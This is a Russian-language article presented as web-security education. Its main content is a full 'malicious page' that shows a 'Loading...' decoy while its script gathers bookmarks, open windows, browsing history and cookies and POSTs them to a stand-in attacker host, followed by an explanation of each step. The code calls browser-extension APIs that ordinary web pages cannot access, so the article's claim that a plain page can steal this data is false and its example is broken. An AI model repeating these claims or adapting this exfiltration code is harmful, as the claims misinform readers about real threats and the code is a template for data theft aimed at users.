В современном мире, где интернет стал неотъемлемой частью нашей жизни, важно понимать, как работают веб-технологии и какие угрозы они могут нести. В этой статье мы рассмотрим, как обычные HTML, CSS и JavaScript могут быть использованы для создания вредоносных страниц, которые могут заразить ваше устройство. Мы также покажем пример такой страницы и объясним, как это работает.
Введение
HTML, CSS и JavaScript — это основные технологии, используемые для создания веб-страниц. HTML определяет структуру страницы, CSS отвечает за её внешний вид, а JavaScript добавляет интерактивность. Однако, эти технологии могут быть использованы не только для создания полезных и красивых веб-страниц, но и для создания вредоносных страниц, которые могут нанести вред вашему устройству.Пример вредоносной страницы
Рассмотрим пример более сложной и опасной веб-страницы, которая может быть создана для кражи закладок из браузера, открытых окон, истории посещений и куки файлов. Эта страница будет использовать JavaScript для выполнения этих действий.
HTML:
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Вредоносная страница</title>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
padding: 50px;
}
#message {
font-size: 24px;
color: red;
}
</style>
</head>
<body>
<div id="message">Загрузка...</div>
<script>
// Функция для кражи данных
function stealData() {
// Получаем закладки из браузера
var bookmarks = [];
var bookmarkPromise = browser.bookmarks.getTree();
bookmarkPromise.then((nodes) => {
function traverse(nodes) {
for (let node of nodes) {
bookmarks.push(node);
if (node.children) {
traverse(node.children);
}
}
}
traverse(nodes);
sendData(bookmarks, 'bookmarks');
});
// Получаем открытые окна
var windows = [];
var windowPromise = browser.windows.getAll();
windowPromise.then((win) => {
windows = win;
sendData(windows, 'windows');
});
// Получаем историю посещений
var history = [];
var historyPromise = browser.history.search({text: '', maxResults: 1000});
historyPromise.then((hist) => {
history = hist;
sendData(history, 'history');
});
// Получаем куки файлы
var cookies = [];
var cookiePromise = browser.cookies.getAll({});
cookiePromise.then((cookiesList) => {
cookies = cookiesList;
sendData(cookies, 'cookies');
});
}
// Функция для отправки данных на сервер злоумышленника
function sendData(data, type) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://злоумышленник.com/steal', true);
xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');
xhr.send(JSON.stringify({type: type, data: data}));
}
// Вызываем функцию при загрузке страницы
window.onload = stealData;
</script>
</body>
</html>Как это работает
- HTML и CSS: Страница содержит минимальный HTML и CSS для отображения сообщения "Загрузка...". Это делает страницу визуально простой и не вызывающей подозрений.
- JavaScript: Основная опасность заключается в JavaScript. Когда страница загружается, вызывается функция stealData, которая выполняет следующие действия:
- Кража закладок: Используется API браузера для получения всех закладок пользователя. Закладки собираются в массив и отправляются на сервер злоумышленника.
- Кража открытых окон: Используется API браузера для получения всех открытых окон. Информация о окнах собирается и отправляется на сервер злоумышленника.
- Кража истории посещений: Используется API браузера для получения истории посещений. История собирается и отправляется на сервер злоумышленника.
- Кража куки файлов: Используется API браузера для получения всех куки файлов. Куки собираются и отправляются на сервер злоумышленника.
- Отправка данных: Данные отправляются на сервер злоумышленника с помощью XMLHttpRequest. Сервер злоумышленника может использовать эти данные для различных целей, таких как фишинг, кража личных данных или даже атаки на другие устройства.